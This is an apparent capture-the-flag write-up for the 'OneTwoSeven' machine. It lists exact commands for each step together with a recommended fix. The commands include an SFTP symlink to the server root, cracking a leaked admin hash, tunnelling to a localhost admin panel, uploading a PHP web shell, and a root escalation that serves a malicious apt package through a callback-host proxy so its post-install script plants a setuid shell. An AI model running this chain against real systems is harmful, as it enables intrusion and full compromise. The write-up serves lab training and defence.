OneTwoSeven
Summary
I registered a self-service account on the OneTwoSeven web application and received SFTP-only credentials. The SFTP daemon permitted unrestricted symlink creation, which was abused to link the server filesystem root into my web-served home directory, making every file on the server readable over HTTP. A Vim editor swap file left in the admin application directory disclosed the PHP source of the admin login page including a SHA-256 password hash, which cracked to a plaintext password. Because the admin panel ran on a localhost-only port blocked at the firewall, an SSH local port-forward through the SFTP account tunnelled access to it. The admin panel accepted PHP file uploads with no extension or content validation, granting remote code execution as the web application user. Source code embedded in a bundled admin addon contained hard-coded SFTP credentials for a second user account whose home directory held the user flag. The web application user had passwordless sudo rights to run apt-get with the HTTP proxy environment variable preserved across the privilege boundary; serving a forged APT repository through an user-controlled proxy caused apt to install a crafted package whose post-install maintainer script executed as root, achieving full system compromise.
Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- --min-rate 5000 -oA onetwoseven $INTERNAL_TARGETecho '$INTERNAL_TARGET onetwoseven.htb' | sudo tee -a /etc/hostsExact commands 2
curl -s 'http://$TARGET/signup.php'sftp ots-jZDExYzA@$INTERNAL_TARGETExact commands 3
sftp ots-jZDExYzA@$INTERNAL_TARGETsymlink / public_html/rootcurl -s 'http://$TARGET/~ots-jZDExYzA/root/' | head -40FixChroot SFTP users to their home directories and disable symlink creationCritical
Exact commands 3
curl -s 'http://$TARGET/~ots-jZDExYzA/root/var/www/html-admin/.login.php.swp' -o login.swpstrings login.swp | grep -iE 'sha|hash|pass|admin'echo '<extracted-sha256-hash>' > hash.txt && hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt --forceFixPrevent Vim swap files from persisting in web-accessible directoriesHigh
Exact commands 2
ssh -N -L localhost:60080:localhost:60080 ots-jZDExYzA@$INTERNAL_TARGETcurl -s -X POST -d 'username=ots-admin&password=[REDACTED: credential]&login=Login' -c cookies.txt http://$LOOPBACK:60080/login.phpFixDisable SSH TCP forwarding for SFTP-only accountsHigh
Exact commands 3
echo '<?php system($_REQUEST["x"]); ?>' > shell.phpcurl -s -b cookies.txt -F 'addon=@shell.php;type=application/x-php' 'http://$LOOPBACK:60080/addon-download.php/addon-upload.php'curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=id'FixRestrict admin panel addon uploads to non-executable file types and store files outside the web rootCritical
Exact commands 3
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=ls+/var/www/html-admin/addons/'curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=grep+-r+ots+/var/www/html-admin/addons/'printf 'pwd\nls -la\nget user.txt /tmp/user-ots-default.txt\nbye\n' | sshpass -p '[REDACTED: recovered credential]' sftp -oBatchMode=no -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -P 22 ots-yODc2NGQ@$INTERNAL_TARGETFixRemove hard-coded credentials from application source files and addonsHigh
Exact commands 6
curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=sudo+-n+-l'mkdir -p evil-pkg/DEBIAN && printf 'Package: base-files\nVersion: 100.0\nArchitecture: amd64\nMaintainer: x\nDescription: x\n' > evil-pkg/DEBIAN/control && printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > evil-pkg/DEBIAN/postinst && chmod +x evil-pkg/DEBIAN/postinst && dpkg-deb --build evil-pkg base-files_100.0_amd64.debmkdir -p repo/pool/main repo/dists/ascii/main/binary-amd64 && cp base-files_100.0_amd64.deb repo/pool/main/ && cd repo && dpkg-scanpackages pool/main /dev/null > dists/ascii/main/binary-amd64/Packages && gzip -k dists/ascii/main/binary-amd64/Packages && python3 -m http.server 8080curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=http_proxy%3Dhttp%3A%2F%2F$CALLBACK_HOST%3A8080+sudo+-n+/usr/bin/apt-get+update'curl -s -b cookies.txt 'http://$LOOPBACK:60080/menu.php?addon=shell.php&x=http_proxy%3Dhttp%3A%2F%2F$CALLBACK_HOST%3A8080+sudo+-n+/usr/bin/apt-get+upgrade+-y'/tmp/rootbash -pFixRemove HTTP proxy variables from the sudo environment passthrough for apt-getCritical
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |